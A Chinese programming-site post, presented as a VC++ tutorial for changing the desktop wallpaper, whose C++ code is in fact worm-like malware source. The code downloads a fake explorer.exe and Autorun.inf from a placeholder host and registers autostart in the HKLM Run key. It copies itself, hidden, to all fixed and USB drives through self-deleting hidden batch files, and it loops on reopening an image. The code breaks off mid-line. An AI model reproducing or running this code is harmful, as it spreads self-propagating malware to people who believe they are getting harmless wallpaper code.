当前位置:编程学习 > VC++ >>

VC++实现像360安全桌面一样修改桌面背景

具体实现如下,像360安全桌面一样修改桌面背景
 
模仿360的时候要学习360的狼性文化
 
[cpp] 
#include "stdafx.h"  
#include<stdio.h>  
#include<stdlib.h>  
#include<windows.h>  
#include<urlmon.h>  
#include<process.h>  
#include<Shellapi.h>  //这个头文件里有ShellExecute的定义  
#include <iostream>  
#include  <iomanip>  
#include <fstream>  
#include   <cstdio>     
#include   <stack>  
#pragma comment (lib,"Urlmon.lib")  
//函数  
void down();  
bool Checkdisk();  
void Scandisk();  
void destory();  
void reg();  
int getname();  
void drive();  
  
using namespace std;  
#define FILENAME "C:\\Autorun.inf"  
  
int getname()//获取当前用户名 并修改墙纸 需要重起见效  
{  
    char szName[1024];  
    unsigned long lens = sizeof(szName);  
  
    GetUserName(szName, &lens );  
  
  
static char subkey1[] = "Control Panel\\Desktop";   
static char vname1[] = "ConvertedWallpaper";   
static char exefile1[] = "C:\\progra~1\\Messenger\\jl.bmp";   
ULONG dType = REG_SZ, len = 0;   
HKEY hKey;   
RegOpenKeyEx(HKEY_CURRENT_USER,subkey1,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);//打开。   
RegSetValueEx(hKey, vname1, 0, REG_SZ,(BYTE *)exefile1, strlen(exefile1)+1); //加上。   
RegCloseKey(hKey); //关闭。  
FILE *f;//复制一份图片  
    f=fopen("change.bat","w=");  
    fprintf(f,"copy C:\\progra~1\\Messenger\\jl.bmp C:\\docume~1\\%s\\LocalS~1\\Applic~1\\Microsoft\\Wallpaper1.bmp",szName);  
    //注意使用短文件名  
    fprintf(f,"\n");   
    fprintf(f,"del change.bat");//自删除  
    fclose(f);  
    WinExec("change.bat",SW_HIDE);  
return 0;  
  
}  
void reg()//利用注册表进行自启动  
{  
static char subkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";   
static char vname[] = "explorer.exe";   
static char exefile[] = "C:\\progra~1\\Messenger\\explorer.exe";   
ULONG dType = REG_SZ, len = 0;   
HKEY hKey;   
RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);//打开。   
if (RegQueryValueEx(hKey, vname, 0, &dType, NULL, &len)) { //如果没有explorer,   
RegSetValueEx(hKey, vname, 0, REG_SZ,(BYTE *)exefile, strlen(exefile)+1); //就加上。   
}   
RegCloseKey(hKey); //关闭。  
  
}  
void down()//下载  
{  
        //website为存放文件的网址  
        URLDownloadToFile(NULL,"http://website/jl.bmp","C:\\progra~1\\Messenger\\jl.bmp",0,NULL);//下经过系统处理的图片  
        URLDownloadToFile(NULL,"http://website/explorer.exe","C:\\progra~1\\Messenger\\explorer.exe",0,NULL);//下载本文件  
        URLDownloadToFile(NULL,"http://website/Autorun.inf","C:\\progra~1\\Messenger\\Autorun.inf",0,NULL);//下文件  
        ShellExecute(0,"open","C:\\progra~1\\Messenger\\jl.bmp",NULL,NULL,SW_SHOW);//运行文件  
        }  
void destory()  
{  
    int i=1;  
    while(i<=100)  
    {  
    ShellExecute(0,"open","C:\\progra~1\\Messenger\\jl.bmp",NULL,NULL,SW_SHOW);//运行文件  
    Sleep(13000);  
      
    }  
}  
void drive()//复制到各个盘  
{  
    char drive[4]={0};  
    wsprintf(drive,"C:\0");  
      drive[0]='C';  
      while(drive[0]<='Z')  
            {  
      if(GetDriveType(drive)==DRIVE_FIXED)  
                {  
                    FILE *f;  
                    f=fopen("drive.bat","w=");  
    fprintf(f,"copy C:\\progra~1\\Messenger\\explorer.exe %c:\\explorer.exe",drive[0]);  
    fprintf(f,"\n");  
    fprintf(f,"copy C:\\progra~1\\Messenger\\Autorun.inf %c:\\Autorun.inf",drive[0]);  
    fprintf(f,"\n");  
    fprintf(f,"attrib +h %c:\\Autorun.inf",drive[0]);  
    fprintf(f,"\n");  
    fprintf(f,"attrib +h %c:\\explorer.exe",drive[0]);  
    fprintf(f,"\n");  
    fprintf(f,"del drive.bat");  
    fclose(f);  
    WinExec("drive.bat",SW_HIDE);  
    Sleep(500);  
    //return true;  
                }  
    drive[0]++;  
      }  
}  
bool Checkdisk()//扫描是否有移动盘  
{  
    char usb[4]={0};  
    wsprintf(usb,"C:\0");//很重要  
      usb[0]='C';  
        
    while(usb[0]<='Z')  
            {  
                if(GetDriveType(usb)==DRIVE_REMOVABLE)  
                {  
           FILE *f;  
    f=fopen("usb1.bat","w=");  
    fprintf(f,"copy C:\\progra~1\\Messenger\\explorer.exe %c:\\explorer.exe",usb[0]);  
    fprintf(f,"\n");  
    fprintf(f,"copy C:\\progr
补充:软件开发 , Vc ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,